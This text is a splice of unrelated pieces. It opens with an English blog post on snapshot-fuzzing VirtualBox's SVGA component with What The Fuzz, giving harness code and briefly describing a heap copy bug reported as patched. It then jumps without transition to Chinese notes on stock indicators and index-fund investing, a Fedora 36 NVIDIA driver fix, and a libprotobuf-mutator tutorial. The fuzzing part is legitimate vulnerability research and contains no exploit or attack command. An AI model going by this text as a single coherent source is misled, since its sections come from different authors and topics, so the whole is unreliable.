0%

source: https://null2root.github.io/blog/2022/07/21/When-Hypervisor-Met-Snapshot-Fuzzing.html

1. Introduction

Hypervisor was known as hard target to fuzz over several years. Even though, lots of prior pioneers( Peter Hlavaty, Chaitin Tech, StarLabs, Peleg Hadar and Ophir Harpaz and many others ) doing amazing work to overcome this limit and found interesting bugs.

But it is not an easy topic for some fresh newbie like me to starts from the bottom. I think manual code( or binary ) auditing and static analysis could be only considerable options if I start my research a few years ago without What The Fuzz.

What The Fuzz( a.k.a WTF ) is a snapshot-based fuzzer targeting Windows Ring-3 and Ring-0 component. WTF’s snapshot is based on memory dump both kernel and user-land. Because of that, WTF can not emulate any functionality which requires anything not within in-memory and can not create new process or thread because memory dump limited on single process. But WTF support breakpoint Handler which you can set breakpoint on any address within memory dump and if fuzz execution reaches that address, pre-defined breakpoint handler will be executed. Based on this, we can trying to overcome some limitation on WTF such as file access.

I really love WTF’s flexibility and its potential, and I am going to show one of example usage of WTF on targeting Virtualbox to prove how awesome it is.

2. Developing Fuzz Module

First, you should define your own fuzz module for your target. There are few examples on github( fuzzer_hevd.cc, fuzzer_tlv_server.cc ) and blog post( ret2systems, Doar-e ).

My Target was Virtualbox’s SVGA component.

SVGA is something like “JavaScript of hypervisors“. Because of its complex nature, many hypervisor bugs are oriented by SVGA. And that’s the reason why I choose it as a first target.

VirtualBox have a function called vmsvgaR3FifoLoop. It waits until guest submit new command data through GPA. So this is a good spot( or should I call it source? ) to take a snapshot.

I set a breakpoint on vmsvgaR3FifoLoop+4E2 to take snapshot. It is same position as here, start of switch-case routine for SVGA and SVGA3D command.

blahblah1

After creating snapshot, I had to decide make it run multiple times in single execution or not. Because SVGA is consist of various commands like define, update, delete something…, I thought fuzz campaign must handle multiple SVGA commands during single round.

First, I had to define structure to contains multiple testcases. Luckily, 0vercl0k already write nice example to doing that. So I did same thing as below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#define SVGA_CMD_BODY_MAX 0xA000

const uint32_t SvgaCmdList[] = {1, 3, 19, 22, 25, 29, 30, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 1040, 1041, 1042, 1043, 1044, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 1080, 1081};

const uint32_t SvgaCmdListLen = 58;

struct SvgaCmd_t {
uint32_t SvgaCmdCode;
std::vector<uint8_t> SvgaBody;
NLOHMANN_DEFINE_TYPE_INTRUSIVE(SvgaCmd_t, SvgaCmdCode, SvgaBody);
};

struct SvgaCmds_t {
std::vector<SvgaCmd_t> SvgaCmds;
NLOHMANN_DEFINE_TYPE_INTRUSIVE(SvgaCmds_t, SvgaCmds);
};

struct {
std::deque<SvgaCmd_t> SvgaCmds;
CpuState_t Context;
uint8_t SvgaCmdBody[SVGA_CMD_BODY_MAX];
uint32_t SvgaCmdBodySize;

void RestoreGprs(Backend_t *B) {
const auto &C = Context;
B->Rsp(C.Rsp);
B->Rip(C.Rip);
B->Rax(C.Rax);
B->Rbx(C.Rbx);
B->Rcx(C.Rcx);
B->Rdx(C.Rdx);
B->Rsi(C.Rsi);
B->Rdi(C.Rdi);
B->R8(C.R8);
B->R9(C.R9);
B->R10(C.R10);
B->R11(C.R11);
B->R12(C.R12);
B->R13(C.R13);
B->R14(C.R14);
B->R15(C.R15);
}
} GlobalState;

SvgaCmds_t Deserialize(const uint8_t *Buffer, const size_t BufferSize) {
const auto &Root = json::json::parse(Buffer, Buffer + BufferSize);
return Root.get<SvgaCmds_t>();
}

bool InsertTestcase(const uint8_t *Buffer, const size_t BufferSize) {
GlobalState.SvgaCmds.clear();

const auto &Root = Deserialize(Buffer, BufferSize);
for(auto SvgaCmd : Root.SvgaCmds) {
GlobalState.SvgaCmds.emplace_back(std::move(SvgaCmd));
}

return true;
}

It is almost identical as example.

Next question was, how can I insert data into snapshot? I had to find a insertion point and proper memory address. Luckily( again ), VirtualBox using a function called vmsvgaR3FifoGetCmdPayload to receive command data from guest to host. I define a breakpoint handler in Init() callback function as below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//
// unsigned __int8 *__fastcall vmsvgaR3FifoGetCmdPayload(
// unsigned int cbPayloadReq,
// volatile unsigned int *pFIFO,
// unsigned int offCurrentCmd,
// unsigned int offFifoMin,
// unsigned int offFifoMax,
// unsigned __int8 *pbBounceBuf,
// unsigned int *pcbAlreadyRead,
// PDMTHREAD *pThread,
// VGAState *pThis,
// VMSVGAR3STATE *pSVGAState,
// PDMDEVINSR3 *pDevIns)
//
if(!g_Backend->Setbreakpoint("VBoxDD!vmsvgaR3FifoGetCmdPayload", [](Backend_t *Backend) {
uint32_t cbPayloadReq = Backend->GetArg(0);
Gva_t pbBounceBuf_gva = Backend->GetArgGva(5);
Gva_t pcbAlreadyRead_gva = Backend->GetArgGva(6);

if(cbPayloadReq > GlobalState.SvgaCmdBodySize) {
DebugPrint("cbpayloadReq({:#x}) > SvgaCmdBodySize({:#x}), restore context and goto next round\n", cbPayloadReq, GlobalState.SvgaCmdBodySize);
return GlobalState.RestoreGprs(Backend);
}

if(cbPayloadReq > u32PbBounceBufMaxSize) {
const uint64_t RetAddr = Backend->VirtRead8(Gva_t(Backend->Rsp()));
DebugPrint("check this, RetAddr = {:#x}\n", RetAddr);
std::abort();
}

if(!Backend->VirtWriteDirty(pbBounceBuf_gva, GlobalState.SvgaCmdBody, cbPayloadReq)) {
fmt::print("Failed to write pbBounceBuf, pbBounceBuf = {:#x}, cbPayloadReq = {:#x}, SvgaCmdBodySize = {:#x}\n",
pbBounceBuf_gva.U64(), cbPayloadReq, GlobalState.SvgaCmdBodySize);
std::abort();
}

if(!Backend->VirtWriteStructDirty(pcbAlreadyRead_gva, &cbPayloadReq)) {
fmt::print("Faile to write pcbAlreadyRead, pcbAlreadyRead = {:#x}\n", pcbAlreadyRead_gva.U64());
std::abort();
}

Backend->SimulateReturnFromFunction(pbBounceBuf_gva.U64());

})) {
fmt::print("Failed to Setbreakpoint on VBoxDD!vmsvgaR3FifoGetCmdPayload\n");
return false;
}

I also had to define end point of execution. After some reversing, I found two spots and using it as end point.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const Gva_t SvgaLoopEnd = Gva_t(g_Dbg.GetSymbol("VBoxDD!vmsvgaR3FifoLoop") + 0x24AB);
if(!g_Backend->Setbreakpoint(SvgaLoopEnd, [](Backend_t *Backend) {
DebugPrint("loop end reached, restore context\n");
GlobalState.RestoreGprs(g_Backend);
})) {
fmt::print("Failed to Setbreakpoint on SvgaLoopEnd\n");
return false;
}

const Gva_t SvgLoopEnd2 = Gva_t(g_Dbg.GetSymbol("VBoxDD!vmsvgaR3FifoLoop") + 0x24B2);
if(!g_Backend->Setbreakpoint(SvgLoopEnd2, [](Backend_t *Backend) {
DebugPrint("loop end2 reached, restore context\n");
GlobalState.RestoreGprs(g_Backend);
})) {
fmt::print("Failed to Setbreakpoint on SvgLoopEnd2\n");
return false;
}

As I said above, I create a snapshot on vmsvgaR3FifoLoop+4E2. So if I restore register context, next execution flow starts from there. Because of that, I had to parse new testcase using breakpoint Handler.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
const Gva_t SvgaLoopStart = Gva_t(g_Dbg.GetSymbol("VBoxDD!vmsvgaR3FifoLoop") + 0x4e2);
if(!g_Backend->Setbreakpoint(SvgaLoopStart, [](Backend_t *Backend) {
if(GlobalState.SvgaCmds.size() == 0) {
DebugPrint("testcase deque empty! goto next round...\n");
return Backend->Stop(Ok_t());
}

auto &Testcase = GlobalState.SvgaCmds.front();

while (Testcase.SvgaCmdCode == 1045) {
GlobalState.SvgaCmds.pop_front();

if(GlobalState.SvgaCmds.size() == 0) {
DebugPrint("testcase deque empty during cmd filtering! goto next round...\n");
return Backend->Stop(Ok_t());
}

Testcase = GlobalState.SvgaCmds.front();
}

Backend->Rbx(Testcase.SvgaCmdCode);

DebugPrint("SvgaCmdCode = {:#x}\n", Testcase.SvgaCmdCode);

if(Testcase.SvgaCmdCode >= 1040) {

DebugPrint("Have to avoid AssertBreak(pHdr->size < pThis->svga.cbFIFO), write {:#x} on first DWORD\n", Testcase.SvgaBody.size());

const uint32_t Svga3dCmdSize = Testcase.SvgaBody.size();
if(Svga3dCmdSize >= 0x200000) {
fmt::print("Svga3dCmdSize({:#x}) > cbFIFO, abort\n", Svga3dCmdSize);
std::abort();
}

memcpy(&GlobalState.SvgaCmdBody[0], &Svga3dCmdSize, 4);
memcpy(&GlobalState.SvgaCmdBody[4], Testcase.SvgaBody.data(), Testcase.SvgaBody.size());
GlobalState.SvgaCmdBodySize = Testcase.SvgaBody.size() + 4;
}
else {
memcpy(GlobalState.SvgaCmdBody, Testcase.SvgaBody.data(), Testcase.SvgaBody.size());
GlobalState.SvgaCmdBodySize = Testcase.SvgaBody.size();
}

GlobalState.SvgaCmds.pop_front();
})) {
fmt::print("Failed to Setbreakpoint on SvgaLoopStart\n");
return false;
}

After some investigation, I found CreateDeviceEx call in vmsvga3dContextDefine keep causing CR3 context switching and I didn’t found any way to handling it using breakpoint handler. So I just blacklisting it( SVGA_3D_CMD_CONTEXT_DEFINE = 1045 ).

I disclose almost every part of fuzz module except mutation part. I just use libfuzzer mutator to mutate body data of SVGA command and pick one of command in array randomly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
explicit CustomMutator_t(std::mt19937_64 &Rng, const size_t TestcaseMaxSize)
: Rng_(Rng), TestcaseMaxSize_(TestcaseMaxSize) {

// set maximum size for multiple (mutated) testcase( Default = 1MB )
ScratchBuffer__ = std::make_unique<uint8_t[]>(_1MB);
ScratchBuffer_ = {ScratchBuffer__.get(), _1MB};

BodyMutator_ = make_unique<LibfuzzerMutator_t>(Rng, TestcaseMaxSize);
}

// skip for brevity...

std::string Mutate(uint8_t *Data, const size_t DataLen, const size_t MaxSize) {
auto Root = Deserialize(Data, DataLen);
auto &SvgaCmds = Root.SvgaCmds;

for(auto &SvgaCmd : SvgaCmds) {

//
// 50%
//
if(GetUint32(0, 1) == 1) {
uint32_t SvgaCmdRandomIdx = GetUint32(0, SvgaCmdListLen);
SvgaCmd.SvgaCmdCode = SvgaCmdList[SvgaCmdRandomIdx];
}

memcpy(GlobalMutBuffer, SvgaCmd.SvgaBody.data(), SvgaCmd.SvgaBody.size());
size_t NewTestcaseSize = BodyMutator_->Mut_.Mutate(GlobalMutBuffer, SvgaCmd.SvgaBody.size(), MaxSize);
SvgaCmd.SvgaBody.resize(NewTestcaseSize);
memcpy(SvgaCmd.SvgaBody.data(), GlobalMutBuffer, NewTestcaseSize);
}

json::json Serialized;
to_json(Serialized, Root);
return Serialized.dump();
}

I also define generator function. It is very useful if you are too lazy to create random input like me ^~^.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
std::string GenerateTestcase() {
SvgaCmds_t Root;
const auto N = GetUint32(1, 10);

for (size_t Idx = 0; Idx < N; Idx++) {
SvgaCmd_t SvgaCmd;

SvgaCmd.SvgaCmdCode = SvgaCmdList[GetUint32(0, SvgaCmdListLen)];
SvgaCmd.SvgaBody.resize(GetUint32(0x100, 0x400));

if(GetUint32(0, 1) == 0) {
for(int i = 0; i < SvgaCmd.SvgaBody.size(); i++) {
SvgaCmd.SvgaBody[i] = 0x41;
}
}
else {
for(int i = 0; i < SvgaCmd.SvgaBody.size(); i++) {
SvgaCmd.SvgaBody[i] = (uint8_t)GetUint32(0, 255);
}
}

Root.SvgaCmds.emplace_back(SvgaCmd);
}

json::json Serialized;
to_json(Serialized, Root);
return Serialized.dump();
}

std::string GetNewTestcase(const Corpus_t &Corpus) override {

//
// 20%
//
if(GetUint32(1, 5) == 1) {
return GenerateTestcase();
}

const Testcase_t *Testcase = Corpus.PickTestcase();

if (!Testcase) {
fmt::print("The corpus is empty, generate random one\n");
return GenerateTestcase();
}

//
// Copy the input in a buffer we're going to mutate.
//

memcpy(ScratchBuffer_.data(), Testcase->Buffer_.get(),
Testcase->BufferSize_);

// return Mutate(ScratchBuffer_.data(), Testcase->BufferSize_, TestcaseMaxSize_);

return Mutate(ScratchBuffer_.data(), Testcase->BufferSize_, u32PbBounceBufMaxSize - sizeof(uint32_t));
}

Aaaaannnd, this is everything you need to fuzz! I skip some formal code for brevity, but I think you can easily find what you need to define fully working fuzz module.

…..Ooooh wait, I forgot something. After some hours of struggle, I define a blacklist which cause CR3 context switching. I just put it on the end of Init() function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
bool SetupVBoxBlacklistHooks() {
if(!g_Backend->SetBreakpoint("VBoxRT!RTLogLoggerEx", [](Backend_t *Backend) {
Backend->SimulateReturnFromFunction(0);
})) {
fmt::print("Failed to SetBreakpoint on VBoxRT!RTLogLoggerEx\n");
std::abort();
}

if(!g_Backend->SetBreakpoint("VBoxVMM!PDMCritSectLeave", [](Backend_t *Backend) {
Backend->SimulateReturnFromFunction(0);
})) {
fmt::print("Failed to SetBreakpoint on VBoxVMM!PDMCritSectLeave\n");
std::abort();
}

if(!g_Backend->SetBreakpoint("VBoxC!util::AutoLockBase::release", [](Backend_t *Backend) {
Backend->SimulateReturnFromFunction(0);
})) {
fmt::print("Failed to SetBreakpoint on VBoxC!util::AutoLockBase::release\n");
std::abort();
}

if(!g_Backend->SetBreakpoint("VBoxC!util::AutoLockBase::acquire", [](Backend_t *Backend) {
Backend->SimulateReturnFromFunction(0);
})) {
fmt::print("Failed to SetBreakpoint on VBoxC!util::AutoLockBase::acquire\n");
std::abort();
}

if(!g_Backend->SetBreakpoint("VirtualBoxVM!UIFrameBufferPrivate::NotifyChange", [](Backend_t *Backend) {
Backend->SimulateReturnFromFunction(0);
})) {
fmt::print("Failed to SetBreakpoint on VirtualBoxVM!UIFrameBufferPrivate::NotifyChange\n");
std::abort();
}

if(!g_Backend->SetBreakpoint("VBoxRT!SUPSemEventWaitNoResume", [](Backend_t *Backend) {
Backend->SimulateReturnFromFunction(0);
})) {
fmt::print("Failed to SetBreakpoint on VBoxRT!SUPSemEventWaitNoResume\n");
std::abort();
}

if(!g_Backend->SetBreakpoint("d3d9!CBaseDevice::Release", [](Backend_t *Backend) {
Backend->SimulateReturnFromFunction(0);
})) {
fmt::print("Failed to SetBreakpoint on d3d9!CBaseDevice::Release\n");
}

if(!g_Backend->SetBreakpoint("d3d9!CD3DBase::Clear", [](Backend_t *Backend) {
Backend->SimulateReturnFromFunction(0);
})) {
fmt::print("Failed to SetBreakpoint on d3d9!CD3DBase::Clear\n");
}

if(!g_Backend->SetBreakpoint("d3d9!CMipMap::SetAutoGenFilterType", [](Backend_t *Backend) {
Backend->SimulateReturnFromFunction(0);
})) {
fmt::print("Failed to SetBreakpoint on d3d9!CMipMap::SetAutoGenFilterType\n");
}

if(!g_Backend->SetBreakpoint("d3d9!CMipMap::GenerateMipSubLevels", [](Backend_t *Backend) {
Backend->SimulateReturnFromFunction(0);
})) {
fmt::print("Failed to SetBreakpoint on d3d9!CMipMap::GenerateMipSubLevels\n");
}

if(!g_Backend->SetBreakpoint("USER32!GetDC", [](Backend_t *Backend) {
Backend->SimulateReturnFromFunction(0x1337);
})) {
fmt::print("Failed to SetBreakpoint on USER32!GetDC\n");
}

return true;
}

Yep. That’s really everything. I use this fuzz module several hours and it founds interesting crash.

3. Vulnerability( TL;DR )

Crash occurred in vmsvga3dSurfaceCopy function( PageHeap needed ).

blahblah2

This function trying to copy surface data from one to another using surface id and there’s no boundary check between surface, so it become exploitable wildcopy vulnerability in heap memory.

spot the bug

This vulnerability patched in 6.1.36 release at July, 2022.

4. Conclusion

I think importance of snapshot fuzzing is, it makes researcher to focus on target itself.

Unlike other fuzzers based on runtime and DBI are often create (very) unreasonable side effect or need lots of time to create working harness. The concept of snapshot fuzzing makes it possible to reduce this waste of time.

可以量化一下,有时间考虑程序实现。

  • 涨/跌停板数
  • 涨停封版成功率
  • 涨跌股票比率
  • 大盘成交量额
  • 融资余额情况
  • 北向资金净流入 (参考)

  • 定投只有在低估的时候买,当估值进入中位数以上就不要买了,同时定投标的的估值应该在历史底部区域。
  • 定投的本质不是价值投资,而是相信估值回归中位数。
  • 指数基金,周期性行业适合定投,比如券商,钢铁,煤炭。一般按时间定投,如果大幅下跌也要买。

总的来说定投属于策略型的投资方法,其实并不知道底和顶在哪里,通过拉长时间来降低持仓成本,因此定投成功的关键在于你的成本是否可以随着时间而降下来。从这点也可以分析出在底部区域定投比在顶部区域定投要好得多,这也就是第一条。

定投策略对历史的估值情况有很强的依赖,属于基于历史数据的统计分析,但是每一次的情况都不同,没有人可以保证历史一定会重演。定投也不是价值投资,没有护城河,只是相信均值回归,这是第二条。

巴菲特非常推荐标普500指数 (S&P 500) 定投,指数基金最牛的地方是股票会定期调整,把好的股票加入进来,差的淘汰出去,相当于有人帮你选股了,另外足够分散,发生系统性风险的概率大幅降低。周期性行业则是爆发性很强,三年不开张,开张吃三年,容易在底部积累大量筹码,作为一个长期投资策略非常合适。

Fedora 36 正式版已经释出一段时间了,根据我的经验开始的一周都会有 bug,一般等一段时间再升级会更平滑一些。然而,老革命又遇上了新问题,显示出问题了启动不起来。我已经很久没有遇上显示驱动问题了,我在很久以前就禁用了开源驱动 nouveau,一直都用得很好。

修改 /etc/default/grub 文件,在 GRUB_CMDLINE_LINUX 添加下面参数

1
GRUB_CMDLINE_LINUX="... rd.driver.blacklist=nouveau modprobe.blacklist=nouveau nvidia-drm.modeset=1"

重新生成 grub 文件, sudo grub2-mkconfig -o /boot/grub2/grub.cfg,但是在升级 Fedora 36 后似乎没有起作用。诡异的是 Fedora 35 的内核却可以正常工作,首先怀疑的是 nvidia 驱动可能没有安装对。执行下面命令行

1
2
sudo dnf reinstall xorg-x11-drv-nvidia akmod-nvidia kmod-nvidia.x86_64
sudo reboot

可惜没有解决问题,上网找资料看看 Fedora 36 有没什么特殊的地方。安装 Nvidia 驱动网上有这篇文章说的详细
https://www.linuxcapable.com/how-to-install-nvidia-drivers-on-fedora-36-linux/
仔细拜读了一下,还是没有发现啥问题,驱动也重新安装了啊,开始怀疑是新版 Nvidia 驱动的问题

sudo dnf search xorg-x11-drv-nvidia 可以查看所有的驱动,xorg-x11-drv-nvidia-340xx xorg-x11-drv-nvidia-340xx xorg-x11-drv-nvidia-340xx 不知道到底需要安装哪个版本的驱动。😭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
xorg-x11-drv-nvidia.x86_64 : NVIDIA's proprietary display driver for NVIDIA graphic cards
=========================================================================== 名称 和 概况 匹配:xorg-x11-drv-nvidia
xorg-x11-drv-nvidia-340xx-cuda.x86_64 : CUDA libraries for xorg-x11-drv-nvidia-340xx
xorg-x11-drv-nvidia-340xx-devel.i686 : Development files for xorg-x11-drv-nvidia-340xx
xorg-x11-drv-nvidia-340xx-devel.x86_64 : Development files for xorg-x11-drv-nvidia-340xx
xorg-x11-drv-nvidia-340xx-kmodsrc.x86_64 : xorg-x11-drv-nvidia-340xx kernel module source code
xorg-x11-drv-nvidia-340xx-libs.i686 : Libraries for xorg-x11-drv-nvidia-340xx
xorg-x11-drv-nvidia-340xx-libs.x86_64 : Libraries for xorg-x11-drv-nvidia-340xx
xorg-x11-drv-nvidia-390xx-cuda.x86_64 : CUDA driver for xorg-x11-drv-nvidia-390xx
xorg-x11-drv-nvidia-390xx-cuda-libs.i686 : CUDA libraries for xorg-x11-drv-nvidia-390xx
xorg-x11-drv-nvidia-390xx-cuda-libs.x86_64 : CUDA libraries for xorg-x11-drv-nvidia-390xx
xorg-x11-drv-nvidia-390xx-devel.i686 : Development files for xorg-x11-drv-nvidia-390xx
xorg-x11-drv-nvidia-390xx-devel.x86_64 : Development files for xorg-x11-drv-nvidia-390xx
xorg-x11-drv-nvidia-390xx-kmodsrc.x86_64 : xorg-x11-drv-nvidia-390xx kernel module source code
xorg-x11-drv-nvidia-390xx-libs.i686 : Libraries for xorg-x11-drv-nvidia-390xx
xorg-x11-drv-nvidia-390xx-libs.x86_64 : Libraries for xorg-x11-drv-nvidia-390xx
xorg-x11-drv-nvidia-470xx-cuda.x86_64 : CUDA driver for xorg-x11-drv-nvidia-470xx
xorg-x11-drv-nvidia-470xx-cuda-libs.i686 : CUDA libraries for xorg-x11-drv-nvidia-470xx
xorg-x11-drv-nvidia-470xx-cuda-libs.x86_64 : CUDA libraries for xorg-x11-drv-nvidia-470xx
xorg-x11-drv-nvidia-470xx-devel.i686 : Development files for xorg-x11-drv-nvidia-470xx
xorg-x11-drv-nvidia-470xx-devel.x86_64 : Development files for xorg-x11-drv-nvidia-470xx
xorg-x11-drv-nvidia-470xx-kmodsrc.x86_64 : xorg-x11-drv-nvidia-470xx kernel module source code
xorg-x11-drv-nvidia-470xx-libs.i686 : Libraries for xorg-x11-drv-nvidia-470xx
xorg-x11-drv-nvidia-470xx-libs.x86_64 : Libraries for xorg-x11-drv-nvidia-470xx

可是仔细一琢磨, Fedora 35 Nvidia 驱动不是工作正常吗,可以上去看看用的是哪个版本的驱动,执行命令 nvidia-settings,在 System Information 中发现使用的就是最新版本的驱动 510.68.02,看样子最新版本的驱动也没有问题,一下陷入了困境。😰

没啥好办法,还是 Google 搜索一下,结果发现了一个链接在讨论这个问题,和我遇上的现象一样,作者最终解决了问题
Fedora Linux kernel update breaks NVIDIA driver

原来是旧版的驱动没有卸载干净,参考 https://rpmfusion.org/Howto/NVIDIA#Uninstall_the_NVIDIA_driver
驱动卸载 Nvidia 驱动需要使用命令 dnf remove xorg-x11-drv-nvidia\*

按照下面的命令操作了一遍,重启系统,熟悉的登录界面终于又出现了。😄

1
2
3
4
sudo dnf remove xorg-x11-drv-nouveau
sudo dnf remove xorg-x11-drv-nvidia\*
sudo dnf install xorg-x11-drv-nvidia akmod-nvidia kmod-nvidia.x86_64
sudo reboot

What are protocol buffers?

Protocol buffers are Google’s language-neutral, platform-neutral, extensible mechanism for serializing structured data – think XML, but smaller, faster, and simpler. You define how you want your data to be structured once, then you can use special generated source code to easily write and read your structured data to and from a variety of data streams and using a variety of languages.

这段是 Google 官方网站给出的介绍,protobuf 可以自动化生成代码,用于读入或者写入结构化数据。一个简单的 protobuf 文件可以是这样的:

1
2
3
4
5
message Person {
required string name = 1;
required int32 id = 2;
optional string email = 3;
}

具体的语法可以参考Google 的文档 proto2proto3。c++ 语言使用 protobuf 的示例可以参见Protocol Buffer Basics: C++ 文档,基本步骤总结如下:

  1. 写 protobuf 文件,表达数据结构
  2. 利用 protoc 自动生成代码 (支持多种语言 C++ Java 等)
  3. 利用生成的文件解析或者写入相关数据结构

libprotobuf-mutator

编译安装

参考: https://github.com/google/libprotobuf-mutator/blob/master/README.md

1
2
3
4
5
git clone https://github.com/google/libprotobuf-mutator.git
mkdir build
cd build
cmake .. -GNinja -DCMAKE_C_COMPILER=clang -DLIB_PROTO_MUTATOR_DOWNLOAD_PROTOBUF=ON -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_BUILD_TYPE=Debug
https_proxy=http://127.0.0.1:3128 ninja check

由于需要从Google下载一些源码,所以在 ninja check 的时候需要挂上代理,结果编译出错了,找不到 libxml2.a,排查一下编译参数,发现需要添加编译静态库的参数

1
2
3
4
5
6
7
8
9
10
11
12
diff --git a/cmake/external/libxml2.cmake b/cmake/external/libxml2.cmake
index c00ace2..a944fab 100644
--- a/cmake/external/libxml2.cmake
+++ b/cmake/external/libxml2.cmake
@@ -38,6 +38,7 @@ ExternalProject_Add(${LIBXML2_TARGET}
UPDATE_COMMAND ""
CONFIGURE_COMMAND ${LIBXML2_SRC_DIR}/autogen.sh --without-python
--prefix=${LIBXML2_INSTALL_DIR}
+ --enable-static=yes
CC=${CMAKE_C_COMPILER}
CXX=${CMAKE_CXX_COMPILER}
CFLAGS=${LIBXML2_CFLAGS}

修改后可以正常通过 ninja check 命令的所有检查。默认情况下 ninja install 会安装到 /usr/local 目录,因为考虑到后续需要给 afl+使用,所以需要使用下的命令重新 cmake 一下

1
2
cmake .. -GNinja -DCMAKE_C_COMPILER=clang -DLIB_PROTO_MUTATOR_DOWNLOAD_PROTOBUF=ON \
-DCMAKE_INSTALL_PREFIX=/home/henices/code/AFL+/external/libprotobuf-mutator -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_BUILD_TYPE=Debug

libprotobuf-mutator 代码实现

libfuzzer_macro.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#define DEFINE_TEST_ONE_PROTO_INPUT_IMPL(use_binary, Proto)                 \
extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) { \
using protobuf_mutator::libfuzzer::LoadProtoInput; \
Proto input; \
if (LoadProtoInput(use_binary, data, size, &input)) \
TestOneProtoInput(input); \
return 0; \
}

// Defines custom mutator, crossover and test functions using default
// serialization format. Default is text.
#define DEFINE_PROTO_FUZZER(arg) DEFINE_TEXT_PROTO_FUZZER(arg)
// Defines custom mutator, crossover and test functions using text
// serialization. This format is more convenient to read.
#define DEFINE_TEXT_PROTO_FUZZER(arg) DEFINE_PROTO_FUZZER_IMPL(false, arg)
// Defines custom mutator, crossover and test functions using binary
// serialization. This makes mutations faster. However often test function is
// significantly slower than mutator, so fuzzing rate may stay unchanged.
#define DEFINE_BINARY_PROTO_FUZZER(arg) DEFINE_PROTO_FUZZER_IMPL(true, arg)

#define DEFINE_PROTO_FUZZER_IMPL(use_binary, arg) \
static void TestOneProtoInput(arg); \
using FuzzerProtoType = std::remove_const<std::remove_reference< \
std::function<decltype(TestOneProtoInput)>::argument_type>::type>::type; \
DEFINE_CUSTOM_PROTO_MUTATOR_IMPL(use_binary, FuzzerProtoType) \
DEFINE_CUSTOM_PROTO_CROSSOVER_IMPL(use_binary, FuzzerProtoType) \
DEFINE_TEST_ONE_PROTO_INPUT_IMPL(use_binary, FuzzerProtoType) \
DEFINE_POST_PROCESS_PROTO_MUTATION_IMPL(FuzzerProtoType) \
static void TestOneProtoInput(arg)

调用路径为 DEFINE_PROTO_FUZZER -> DEFINE_TEXT_PROTO_FUZZER -> DEFINE_PROTO_FUZZER_IMPL -> DEFINE_TEST_ONE_PROTO_INPUT_IMPL -> LLVMFuzzerTestOneInput -> TestOneProtoInput
最终还是实现了LLVMFuzzerTestOneInput libfuzzer 的入口方法,使用 macro 可以少写不少代码非常方便,从这里就可以看出 fuzz 的 target function 必须和 LLVMFuzzerTestOneInput 的参数类型一致

1
2
3
4
5
// fuzz_target.cc
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
DoSomethingInterestingWithMyAPI(Data, Size);
return 0; // Non-zero return values are reserved for future use.
}

libfuzzer_macro.cc

1
2
3
4
5
6
7
8
9
10
bool LoadProtoInput(bool binary, const uint8_t* data, size_t size,
protobuf::Message* input) {
if (GetCache()->LoadIfSame(data, size, input)) return true;
auto result = binary ? ParseBinaryMessage(data, size, input)
: ParseTextMessage(data, size, input);
if (!result) return false;
GetMutator()->Seed(size);
GetMutator()->Fix(input);
return true;
}

LoadProtoInput 返回 true 或者 false,如果解析成功,将调用 TestOneProtoInputDEFINE_PROTO_FUZZER macro 其实就是写 TestOneProtoInput 的实现。

libprotobuf-mutator_fuzzing_learning

这是 github 上一位同行写的学习 libprotobuf-mutator fuzzing 的文章,总体写的不错,但是其中有一些错误的地方,在实践过程中都记录了其中的修改。

Simple protobuf example

文章:https://github.com/bruce30262/libprotobuf-mutator_fuzzing_learning/tree/master/1_simple_protobuf

先写一个简单的 protobuf 文件,test.proto

1
2
3
4
5
6
syntax = "proto2";

message TEST {
required uint32 a = 1;
required string b = 2;
}

使用 protoc 编译 protobuf 文件

1
2
mkdir genfiles  
protoc ./test.proto --cpp_out=./genfiles

将自动生成两个文件

1
2
ls ./genfiles
test.pb.cc test.pb.h

写一个测试程序 test_proto.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include "test.pb.h"

#include <bits/stdc++.h>

using std::cin;
using std::cout;
using std::endl;

int main(int argc, char *argv[])
{
TEST t;
t.set_a(101);
t.set_b("testtest");
cout << t.a() << endl;
cout << t.b() << endl;
return 0;
}

写 Makefile 来编译 test_proto.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
CXX=clang++
PB_SRC=test.pb.cc

PROTOBUF_DIR=$(HOME)/code/libprotobuf-mutator/build/external.protobuf/
PROTOBUF_LIB=$(PROTOBUF_DIR)/lib/libprotobufd.a
INC=-I$(PROTOBUF_DIR)/include

test_proto: test_proto.cc $(PB_SRC)
$(CXX) -o $@ $^ $(PROTOBUF_LIB) $(INC)

.PHONY: clean
clean:
rm test_proto

